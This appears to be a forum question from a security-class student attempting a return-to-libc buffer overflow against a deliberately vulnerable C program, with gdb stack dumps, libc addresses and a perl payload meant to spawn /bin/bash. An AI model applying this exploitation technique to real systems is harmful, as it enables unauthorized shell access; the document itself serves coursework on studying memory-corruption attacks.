title: Writing a Return-to-libc attack, but cannot get it to work correctly?
body: <p>I need to perform a return on libc attack on <code>is_virus()</code> for a security class. The objective is to overflow <code>traffic[]</code> and overwrite the return address of <code>is_virus()</code> so that it returns to the libc function <code>system()</code> to open a shell. Now I have been spending hours on this and cannot get it to work.</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  #include &lt;stdlib.h&gt; 
  #include &lt;unistd.h&gt;
  #include &lt;time.h&gt;
  #include &lt;ctype.h&gt;
  
  char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries", 
  "sys_binaries"};
  
  int is_virus(int argc, char ** argv)
  {
      char traffic[44];
      int i, j, k, len;
  
      traffic[0] = 0;
      for (i = 1; i &lt; argc; ++i)
              strcat(traffic, argv[i]);
  
      for (j = 0; j &lt; 4; ++j) {
              len = strlen(signatures[j]);
              for (i = 0; i &lt; (int)strlen(traffic); ++i)
                      if (strncmp(signatures[j], traffic+i, len) == 0)
                              return 1;
      }
  
      return 0;
  }
  
  int main(int argc, char ** argv)
  {
      if (argc &lt; 2) {
              system("echo 'usage: target3 network_traffic_packets'");
              exit(1);
      }
  
      if (is_virus(argc, argv))
              printf("Alarm! virus founded\n");
      else
              printf("safe.\n");
  
      return 0;
   }
  </code></pre>
  
  <p>Now I began by finding the addresses of <code>system()</code>, <code>exit()</code>, and the string <code>/bin/bash</code>.</p>
  
  <p>I found these to be...</p>
  
  <p>system() = 0x40071584<br/>
   exit() = 0x400533a4<br/>
   "/bin/bash" = 0xbffffefb This was found inside environmental variables<br/></p>
  
  <p>Now from my understanding, The return address of <code>is_virus()</code> needs to be replaced with the address of <code>system()</code> followed the address of <code>exit()</code>, and then the address of the string <code>/bin/bash</code>. Next, I located the return address of <code>is_virus()</code> by disassembling <code>main</code> inside gdb.</p>
  
  <pre><code>...
  0x804868b &lt;main+43&gt;:    pushl  0xc(%ebp)
  0x804868e &lt;main+46&gt;:    pushl  0x8(%ebp)
  0x8048691 &lt;main+49&gt;:    call   0x8048570 &lt;is_virus&gt;
  0x8048696 &lt;main+54&gt;:    add    $0x10,%esp
  0x8048699 &lt;main+57&gt;:    mov    %eax,%eax
  ...
  </code></pre>
  
  <p>So <code>is_virus()</code> should return to the address 0x8048696. I used this to determine how much padding I will need. Looking at memory shortly after the stack pointer...</p>
  
  <pre><code>Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15
  15              traffic[0] = 0;
  (gdb) x/32xw $esp
  0xbffffa60:     0xbffffaa0      0x4000d2b6      0x40016b34      0x40021298
  0xbffffa70:     0x00000001      0x00000000      0x40021000      0x400212b8
  0xbffffa80:     0xbffffac0      0x4000d2b6      0x08049840      0x080482cb
  0xbffffa90:     0x4002d164      0x40158154      0x400168e4      0x4013d12e
  0xbffffaa0:     0xbffffad8      0x4000d450      0xbffffac8      0x08048696
  0xbffffab0:     0x00000002      0xbffffb34      0xbffffad8      0x08048551
  0xbffffac0:     0x08049820      0x08049934      0xbffffb08      0x4003e507
  0xbffffad0:     0x00000002      0xbffffb34      0xbffffb40      0x080483b2
  </code></pre>
  
  <p>As we can see the return address is at 0xbffffab2. Now playing with passing 'A's, I found 60 bytes gets me just before this address.</p>
  
  <p>So with all the info I constructed the input<br/></p>
  
  <blockquote>
    <p>./target3 $(perl -e 'print "AAAA"x15, "\x84\x15\x07\x40", "\xa4\x33\x05\x40", "\xfb\xfe\xff\xbf"')</p>
  </blockquote>
  
  <p>And looking at data after <code>strcpy()</code> it looks correct.</p>
  
  <pre><code>(gdb) x/32xw $esp
  0xbffffa20:     0xbffffa60      0x4000d2b6      0x40016b34      0x00000001
  0xbffffa30:     0x41414141      0x41414141      0x41414141      0x41414141
  0xbffffa40:     0x41414141      0x41414141      0x41414141      0x41414141
  0xbffffa50:     0x41414141      0x41414141      0x41414141      0x41414141
  0xbffffa60:     0x41414141      0x41414141      0x41414141      0x40071584
  0xbffffa70:     0x400533a4      0xbffffefb      0xbffffa00      0x08048551
  0xbffffa80:     0x08049820      0x08049934      0xbffffac8      0x4003e507
  0xbffffa90:     0x00000002      0xbffffaf4      0xbffffb00      0x080483b2
  </code></pre>
  
  <p>But the issue is that the <code>exit()</code> address overwrites where <code>argc</code>'s value is stored and causes the fist loop executes more than once and crashes. Ive tried changing this value to 0xFFFFFFFF and forgetting about the clean exit, but as the function <code>is_virus()</code> tries to return, I get the error </p>
  
  <blockquote>
    <p>Cannot access memory at address 0xffffffff</p>
  </blockquote>
  
  <p>Any help would be appreciated!</p>